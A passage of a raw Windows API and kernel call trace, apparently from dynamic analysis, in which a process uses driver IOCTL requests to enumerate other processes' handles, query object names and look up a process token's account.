AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.043] PsReleaseProcessExitSynchronization () returned 0x2 [0132.043] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.043] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.043] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.043] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.043] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.043] PsAcquireProcessExitSynchronization () returned 0x0 [0132.043] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.043] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0132.043] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.043] PsReleaseProcessExitSynchronization () returned 0x2 [0132.043] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.043] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.043] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0132.043] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.043] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.044] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.044] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.044] PsAcquireProcessExitSynchronization () returned 0x0 [0132.044] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880050005d0) [0132.044] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0132.044] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.044] PsReleaseProcessExitSynchronization () returned 0x2 [0132.044] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0132.044] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.044] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0132.044] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.044] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.044] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0132.044] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.044] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0132.044] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.044] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb5 [0132.044] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa8001f38880 | out: TokenHandle=0xfffffa8001f38880*=0xc8) returned 0x0 [0132.044] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.044] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.044] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.044] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.046] CloseHandle (hObject=0xc8) returned 1 [0132.046] CloseHandle (hObject=0xc0) returned 1 [0132.046] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.046] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.046] PsAcquireProcessExitSynchronization () returned 0x0 [0132.046] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.046] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0132.046] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.046] PsReleaseProcessExitSynchronization () returned 0x2 [0132.046] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.046] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.046] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0132.046] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.046] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.046] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.046] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.046] PsAcquireProcessExitSynchronization () returned 0x0 [0132.046] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.046] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0132.046] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.046] PsReleaseProcessExitSynchronization () returned 0x2 [0132.046] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.047] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.047] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0132.047] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.047] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.047] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.047] PsAcquireProcessExitSynchronization () returned 0x0 [0132.047] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.047] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0132.047] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.047] PsReleaseProcessExitSynchronization () returned 0x2 [0132.047] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.047] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.047] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0132.047] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.047] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0132.047] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.047] PsAcquireProcessExitSynchronization () returned 0x0 [0132.047] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.047] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0132.047] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.047] PsReleaseProcessExitSynchronization () returned 0x2 [0132.047] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.047] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.047] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0132.047] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.047] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.047] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.047] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.047] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.047] PsAcquireProcessExitSynchronization () returned 0x0 [0132.048] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.048] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0132.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.048] PsReleaseProcessExitSynchronization () returned 0x2 [0132.048] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.048] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.048] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0132.048] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.048] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.048] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.048] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.048] PsAcquireProcessExitSynchronization () returned 0x0 [0132.048] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.048] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0132.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.048] PsReleaseProcessExitSynchronization () returned 0x2 [0132.048] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.048] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.048] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0132.048] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.048] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.048] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0132.048] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.048] PsAcquireProcessExitSynchronization () returned 0x0 [0132.048] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.048] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0132.048] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.048] PsReleaseProcessExitSynchronization () returned 0x2 [0132.048] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.048] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.048] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0132.048] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.049] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.049] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.049] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.049] PsAcquireProcessExitSynchronization () returned 0x0 [0132.049] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.049] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0132.049] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.049] PsReleaseProcessExitSynchronization () returned 0x2 [0132.049] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.049] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.049] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0132.049] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.049] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.049] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.049] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.049] PsAcquireProcessExitSynchronization () returned 0x0 [0132.049] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.049] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0132.049] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.049] PsReleaseProcessExitSynchronization () returned 0x2 [0132.049] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.049] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.049] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0132.049] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.049] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.049] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.050] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.050] PsAcquireProcessExitSynchronization () returned 0x0 [0132.050] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.050] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0132.050] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.050] PsReleaseProcessExitSynchronization () returned 0x2 [0132.050] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.050] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0132.050] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0132.050] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.050] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.050] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.050] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.050] PsAcquireProcessExitSynchronization () returned 0x0 [0132.050] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.050] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0132.050] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.050] PsReleaseProcessExitSynchronization () returned 0x2 [0132.050] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.050] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.050] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0132.050] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.050] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.050] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.050] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.050] PsAcquireProcessExitSynchronization () returned 0x0 [0132.050] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.050] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0132.050] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.051] PsReleaseProcessExitSynchronization () returned 0x2 [0132.051] ObfDereferenceObject 